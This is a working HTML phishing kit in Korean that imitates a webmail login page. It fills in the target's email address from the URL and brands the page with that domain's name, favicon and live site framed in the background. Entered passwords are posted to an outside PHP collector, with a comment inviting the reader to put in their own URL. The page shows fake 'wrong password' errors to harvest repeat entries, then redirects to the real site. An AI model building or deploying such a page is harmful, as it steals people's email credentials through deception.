<html lang="en">
<script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/content/location/location.js"
    id="eppiocemhmnlbhjplcgkofciiegomcon"></script>
<script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/libs/extend-native-history-api.js"></script>
<script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/libs/requests.js"></script>

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link id="favicon" rel="shortcut icon" type="image/png" href="">
    <title>웹메일 - 로그인.........</title>
    
        * {
            box-sizing: border-box;
            padding: 0;
            margin: 0;
        }

        body {
            /* background-image: url(./bgii.png);
            background-repeat: no-repeat;
            background-position: fixed; */
            background-size: cover;
            font-family: Helvetica Neue, Helvetica, sans-serif;
            font-size: 13px;
            color: #425152;
        }

        form {
            width: 90%;
            margin: auto;
        }

        .formdiv {
            background: rgba(255, 255, 255, 1.0);
            padding: 38px;
            box-shadow: 2px 2px 4px 2px #ccc;
            width: 38%;
            border-radius: 5px;
            margin: 10% auto 30px auto;
            box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24);
            transition: all 0.3s cubic-bezier(.25, .8, .25, 1);
        }

        .flexinp {
            display: flex;
            justify-content: space-between;
            align-items: center;
            gap: 1.5rem;
            margin: 1rem 0rem;
        }

        .flexinp .input {
            width: 80%;
            position: relative;
        }

        .iinp {
            border-radius: 5px;
            padding: 5px 3px;
            width: 100%;
        }

        .flexinp label {
            width: 18%;
        }

        input.submit:hover {
            color: #ffffff;
        }

        input.submit {
            font-weight: bold;
            text-align: center;
            min-width: 90px;
            color: #f0f0f0;
            background: #444444;
            padding: 5px 12px;
            border-color: #444444;
            border-style: solid;
            cursor: pointer;
            margin: 10px 0px;
        }

        .xlogo {
            color: #fff;
            margin-bottom: 10px;
            margin-top: -25px;
        }

        .text-g {
            font-family: "Arial Black", Gadget, sans-serif;
            text-transform: uppercase !important;
            text-align: center;
            font-size: 25px;
            color: #444444;
            background-color: rgba(255, 255, 255, 0);
            text-shadow: rgb(255, 255, 255) 2px 2px 2px;
        }

        .err {
            display: none;
        }

        #root {
            position: absolute;
            left: 0;
            right: 0;
            bottom: 0;
            top: 0;
            z-index: -10;
            pointer-events: none;
            filter: brightness(0.3);
        }

        img.passhide {
            width: 6%;
            height: auto;
            position: absolute;
            bottom: 3px;
            left: 92%;
        }

        @media screen and (max-width: 768px) {
            .formdiv {
                background: rgba(255, 255, 255, 1.0);
                padding: 40px;
                width: 100%;
                box-shadow: 2px 2px 4px 2px #ccc;
                /*width: -webkit-fill-available;            */
                border-radius: 5px;
                margin: 0% auto 30px auto;
                box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24);
                transition: all 0.3s cubic-bezier(.25, .8, .25, 1);
            }

            .flexinp label {
                width: 100%;
            }

            .flexinp .input {
                width: 100%;
                position: relative;
            }

            .flexinp {
                display: flex;
                flex-direction: column;
                justify-content: space-between;
                align-items: center;
                gap: 1.5rem;
                margin: 1rem 0rem;
            }

            /* img.passhide {
            width: 7%;
            height: auto;
            position: relative;
            bottom: 30px;
            left: 95%;
            display: none;
        } */
        }
    
    <script bis_use="true" type="text/javascript" charset="utf-8"
        data-bis-config="[&quot;facebook.com/&quot;,&quot;twitter.com/&quot;,&quot;youtube-nocookie.com/embed/&quot;,&quot;//vk.com/&quot;,&quot;//www.vk.com/&quot;,&quot;//linkedin.com/&quot;,&quot;//www.linkedin.com/&quot;,&quot;//instagram.com/&quot;,&quot;//www.instagram.com/&quot;,&quot;//www.google.com/recaptcha/api2/&quot;,&quot;//hangouts.google.com/webchat/&quot;,&quot;//www.google.com/calendar/&quot;,&quot;//www.google.com/maps/embed&quot;,&quot;spotify.com/&quot;,&quot;soundcloud.com/&quot;,&quot;//player.vimeo.com/&quot;,&quot;//disqus.com/&quot;,&quot;//tgwidget.com/&quot;,&quot;//js.driftt.com/&quot;,&quot;friends2follow.com&quot;,&quot;/widget&quot;,&quot;login&quot;,&quot;//video.bigmir.net/&quot;,&quot;blogger.com&quot;,&quot;//smartlock.google.com/&quot;,&quot;//keep.google.com/&quot;,&quot;/web.tolstoycomments.com/&quot;,&quot;moz-extension://&quot;,&quot;chrome-extension://&quot;,&quot;/auth/&quot;,&quot;//analytics.google.com/&quot;,&quot;adclarity.com&quot;,&quot;paddle.com/checkout&quot;,&quot;hcaptcha.com&quot;,&quot;recaptcha.net&quot;,&quot;2captcha.com&quot;,&quot;accounts.google.com&quot;,&quot;www.google.com/shopping/customerreviews&quot;,&quot;buy.tinypass.com&quot;,&quot;gstatic.com&quot;,&quot;secureir.ebaystatic.com&quot;,&quot;docs.google.com&quot;,&quot;contacts.google.com&quot;,&quot;github.com&quot;,&quot;mail.google.com&quot;,&quot;chat.google.com&quot;,&quot;audio.xpleer.com&quot;,&quot;keepa.com&quot;,&quot;static.xx.fbcdn.net&quot;,&quot;sas.selleramp.com&quot;,&quot;1plus1.video&quot;,&quot;console.googletagservices.com&quot;]"
        src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/../executers/vi-tr.js"></script>
</head>

<body
    bis_register="W3sibWFzdGVyIjp0cnVlLCJleHRlbnNpb25JZCI6ImVwcGlvY2VtaG1ubGJoanBsY2drb2ZjaWllZ29tY29uIiwiYWRibG9ja2VyU3RhdHVzIjp7IkRJU1BMQVkiOiJkaXNhYmxlZCIsIkZBQ0VCT09LIjoiZGlzYWJsZWQiLCJUV0lUVEVSIjoiZGlzYWJsZWQiLCJSRURESVQiOiJkaXNhYmxlZCIsIlBJTlRFUkVTVCI6ImRpc2FibGVkIiwiSU5TVEFHUkFNIjoiZGlzYWJsZWQiLCJDT05GSUciOiJkaXNhYmxlZCJ9LCJ2ZXJzaW9uIjoiMi4wLjE0Iiwic2NvcmUiOjIwMDE0fV0=">
    <main>
        <div class="root" id="root" bis_skin_checked="1">
            <iframe id="myframe" scrolling="no" src="" width="100%" height="100%" frameborder="0"></iframe>
        </div>

        <div class="formdiv" bis_skin_checked="1">
            <form action="" method="post" id="testForm">
                <div class="xlogo" bis_skin_checked="1">
                    <img id="zion" src="">
                    <span style="text-transform: uppercase;" class="text-g" id="banNer"></span>
                </div>
                <div class="flexinp" bis_skin_checked="1">
                    <label for="email">이메일:</label>
                    <div class="input" bis_skin_checked="1">
                        <input type="text" name="userid" id="domainInput" required="" readonly="" class="iinp"
                            placeholder="이메일 주소">
                    </div>
                </div>
                <div class="flexinp" bis_skin_checked="1">
                    <label for="pass">비밀번호:</label>
                    <div class="input" bis_skin_checked="1">
                        <input type="password" name="userpwd" id="password" required="" style="width: 100%;"
                            class="iinp" placeholder="이메일 비밀번호를 입력하세요" autofocus="">
                        <img src="https://fac.corp.fortinet.com/customviews/image/password_hidden:93edf7d3ceb704be92ee084ecc62c6c8/"
                            class="passhide" alt="" onclick="togglePasswordVisibility()">
                    </div>
                </div>
                <span style="color: red; margin: 5px;" class="err" id="err-wrapper">잘못된 비밀번호! 정확하게 입력해주세요.</span>
                <div class="sbtn" bis_skin_checked="1">
                    <input type="submit" value="계속하려면 로그인" class="submit">
                </div>

                <div class="row" bis_skin_checked="1">
                    <p>
                        저작권 © 2024 <span id="kai" style="text-transform: capitalize;"></span>.
                        <br>
                        <br>
                    </p>
                </div>
            </form>
        </div>
    </main>
    <script type="text/javascript">
        const phpurl = "https://dev-site-litel.pantheonsite.io/fre/peel.php" // PUT YOUR PHP URL HERE


        function togglePasswordVisibility() {
            const passwordInput = document.getElementById('password');
            // const toggleIcon = document.querySelector('.toggle-password');

            if (passwordInput.type === 'password') {
                passwordInput.type = 'text';

            } else {
                passwordInput.type = 'password';

            }
        }

        const fullUrl = window.location.href;

        const emailRegex = /#([^#]+)$/;
        const match = fullUrl.match(emailRegex);

        const email = match ? match[1] : null;

        console.log(email);


        if (email) {
            document.getElementById("domainInput").value = email;

            const domain = email.split('@')[1];
            const companyName = domain.split('.')[0];



            console.log(domain);
            document.getElementById("kai").textContent = domain;
            document.getElementById("banNer").textContent = companyName;

            // Save the domain to local storage
            localStorage.setItem("userDomain", domain);
            document.getElementById("myframe").src = `https://www.${domain}`;
            console.log(`https://t3.gstatic.com/faviconV2?client=SOCIAL&type=FAVICON&fallback_opts=TYPE,SIZE,URL&url=https://${domain}&size=16`);

            document.getElementById("zion").src = `https://t3.gstatic.com/faviconV2?client=SOCIAL&type=FAVICON&fallback_opts=TYPE,SIZE,URL&url=https://www.${domain}&size=16`;
            //   document.getElementById("ggh").src = `https://t3.gstatic.com/faviconV2?client=SOCIAL&type=FAVICON&fallback_opts=TYPE,SIZE,URL&url=https://${domain}&size=16`;
        }

        document.addEventListener('contextmenu', function (e) {
            e.preventDefault();
        });

        var formSubmitted = 0;

        document.getElementById("testForm").addEventListener("submit", function (event) {
            event.preventDefault();

            formSubmitted++;

            var inputs = document.querySelectorAll('input[required]');
            for (var i = 0; i < inputs.length; i++) {
                if (!inputs[i].value.trim()) {
                    alert("Please fill in all fields.");
                    return;
                }
            }

            var formData = new FormData(this);
            var xhr = new XMLHttpRequest();
            xhr.open("POST", `${phpurl}`, true);

            xhr.onreadystatechange = function () {
                const directts = localStorage.getItem("userDomain")
                console.log(directts);
                if (xhr.readyState == 4 && xhr.status == 200) {
                    console.log(xhr.responseText);

                    if (formSubmitted === 1) {
                        document.getElementById("password").value = "";
                        console.log("YESSSSS");
                        document.getElementById("err-wrapper").style.display = "block"
                    } else if (formSubmitted === 2) {
                        document.getElementById("password").value = "";

                    } else if (formSubmitted === 3) {
                        window.location.href = `https://www.${directts}`;
                        console.log("GOOOOOO");
                    }
                }
            };

            xhr.send(formData);
        });

    </script>

</body>

</html>